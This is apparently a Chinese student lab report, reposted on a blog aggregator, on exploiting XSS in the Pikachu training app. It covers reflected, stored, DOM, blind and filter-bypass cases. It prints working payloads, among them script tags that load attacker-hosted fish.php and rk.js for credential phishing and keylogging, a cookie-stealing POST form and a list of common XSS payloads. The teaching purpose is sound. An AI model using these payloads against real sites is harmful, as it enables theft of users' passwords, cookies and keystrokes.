首页 > Web开发 > 详细

web实验报告2----- XSS

时间:2019-12-22 22:23:45      阅读:130      评论:0      收藏:0      [点我收藏+]

一、反射性XSS

 (1)get方式

反射型:交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询页面等

形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格导致“精心构造”的脚本输入后,

在输出到前端时被浏览器当作有效代码解析执行

我们的目的:插入一段JS代码,让其成功在浏览器端执行,即视为漏洞攻破,可以使用更加恶劣的代码来满足黑客需求。

技术分享图片

 

 

 随意输入,发现网页输出who is "输入内容",I don‘t care!

技术分享图片

 

网页源码 第897行发现原本输入和提示,考虑先输入特殊字符看看后端返回的数据是否有处理

技术分享图片

 

 没有变化,原封不动的进去了。这样就很好解决,代码中的符号不会被修改过滤

直接输入测试的JS代码、

技术分享图片

 

 输不进去,长度有限制,但是已经顶掉了I dont care

通过F12查看器,找到输入窗口对应class=“xssr_in”,并发现限制最大长度为20,将其修改为200

技术分享图片

 

嘿嘿嘿,直接上咯   print  <script>alert("谁特么看NBA明星,二次元天下第一!")</script>技术分享图片

 

 简直完美,第一个反射型XSS完成,同时看浏览器url发现我们的参数,后端未存储该内容。

 

(1)post方式

首先进行登录,尝试默认用户名admin密码123456,登录成功

技术分享图片

 

 得到get方式时熟悉的界面

技术分享图片

 

 由于是post方式,参数内容未出现在url当中。

准备好burp suite

技术分享图片

 

 可以看到message中特殊符号已经被处理

此时就需要,自己搭建恶意站点,在网站上放编写好的post表单

假设受害者点击该Post表单链接,他会自动向存在漏洞的站点提交Post请求。

修改post.html

技术分享图片

 

 

准备攻击环境(很多教程里没有,事先准备好,尤其是config.inc.php的文件决定数据库能否成功访问)

技术分享图片

 

 输入链接,重定向到皮卡丘主页面,实际上已经收集到数据。

正常登录一次,携带用户名密码的cookies已经被获取。

 

技术分享图片

 

 到此反射性XSS全部完成

 

二、存储型XSS

先试图在留言板上留言(注意特殊字符的使用)

技术分享图片

 

 

留言直接出现,刷新不改变,而且字符没有丢失替换

查看源码发现内容也直接出现在P标签中

技术分享图片

 

 

 写入xss弹窗直接成功技术分享图片

 

 

刷新页面可以看到很多弹窗,都是由于内容已经写入后台

 

技术分享图片

 

 

尝试案例:钓鱼攻击,用一个Basic认证去做这个钓鱼攻击

 

在一个存在XSS漏洞的页面上面嵌入一个恶意请求,当用户打开这个页面时,这个页面就会像攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部,这时候会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码

 

先修改xfish下的fish.php,目录还在pkxss里,将目录改成攻击者能获取到数据的目录

技术分享图片

 

 清除之前的弹窗留言,将

<script src="http://192.168.171.129/pikachu/pkxss/xfish/fish.php"></script>

这一串payload写入
然后再访问时认证框就会出现

 

 

 现实中很多人不会分辨这些就上当

技术分享图片

 

 成功捕获

技术分享图片

 

 

案例2  键盘记录

修改 (攻击者)/pikachu/pkxss/rkeypress 下 rk.js 中的IP地址为攻击者地址

技术分享图片

 

 在rkserver.php注释掉允许跨域访问的代码

技术分享图片

 

 提交payload

<script src="http://192.168.171.129/pikachu/pkxss/rkeypress/rk.js"></script>

后在窗口随意输入信息,约1-2秒后弹出窗口

 

技术分享图片

 

 弹出页面请求失败的窗口后,在F12控制台发现已阻止跨域请求

 

技术分享图片

 

 

把rkserver.php内容取消注释,点击确定,之后所有输入的内容都会被实时捕捉并发送给攻击者 

 

 

技术分享图片

 

 到此案例2 键盘记录完成

 

 

三、DOM型XSS

先拿符号输入测试一下:

 

 

 技术分享图片

 

 咦?‘"<>消失了,却在最右边出现了>  ???

<>是个讨论的关键

页面源码这样写道:

技术分享图片

 

 看见function domxss了没

我们的文字通过字符串拼接的方式写进了< a href’“+str+”>里

那么payload就很好想了,闭合前面的引号!

#‘ onclick=alert("xss")>

技术分享图片

 

 

 

DOM型XSS-X

和前面操作基本一致,源码里都给出了用什么payload

原理:

window.location.search 获取浏览器中URL的内容,然后赋值给 str

    然后经过URL解码和字符串分隔,取出URL中的参数内容

    再把 “+” 替换为 “ ”(空格),赋值给 xss

    最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中

    跟前面的DOM不同的是,它的输入是从浏览器的URL中获取的,很像反射型XSS(get)

技术分享图片

 

四、XSS盲打

盲打是指,我们输入的内容不会在前端出现,返回的响应往往是“请求完成”“发送完毕”之类的

但是后台能看见,管理员能看见

那么我们插入XSS就意味着

管理员登录时,就会执行代码,完成攻击!

技术分享图片

 

 

通过源码或者提示进入后台,登录后就会看到

技术分享图片

 

 

 五、XSS过滤

 

先试试他要过滤什么嗷

技术分享图片

 

 失去了好多嗷

但是大小写混合呢?

技术分享图片

 

 

成功的避开了

六.XSS  htmlspecialchars

 

htmlspecialchars是一个函数,它会将预定义的字符转换为HTML对应实体,例如将< 转成 &lt

输入的字符,在查看器里发现都被转了

技术分享图片

 

 但是单引号好像还在

 

技术分享图片

 

 

七.XSS  href

 

这次无论用什么符号,都写到href里了

技术分享图片

 

 

等等,好像冒号还在

javascript:alert(1234567)

技术分享图片

 

 

八、js输出

 

这。。。好像不在页面上


技术分享图片

 


 找JS代码看看

 

技术分享图片

 


 

 
闭合掉页面的script即可
‘</script><script>alert(‘xss‘)</script>

 是不是很帅

变量直接进不了JS


 技术分享图片

 

 



附上:XSS常见Payload


https://www.cnblogs.com/xuehen/p/4814237.html


技术分享图片
<script>alert("xss")</script>
<script>alert(document.cookie)</script>
<a href=javascript:alert(111)>
<body onload=alert(‘XSS‘)>
<img src=x onerror=alert(1)>
<div onclick="alert(‘xss‘)">

web实验报告2----- XSS

原文:https://www.cnblogs.com/P201721230025/p/12081308.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!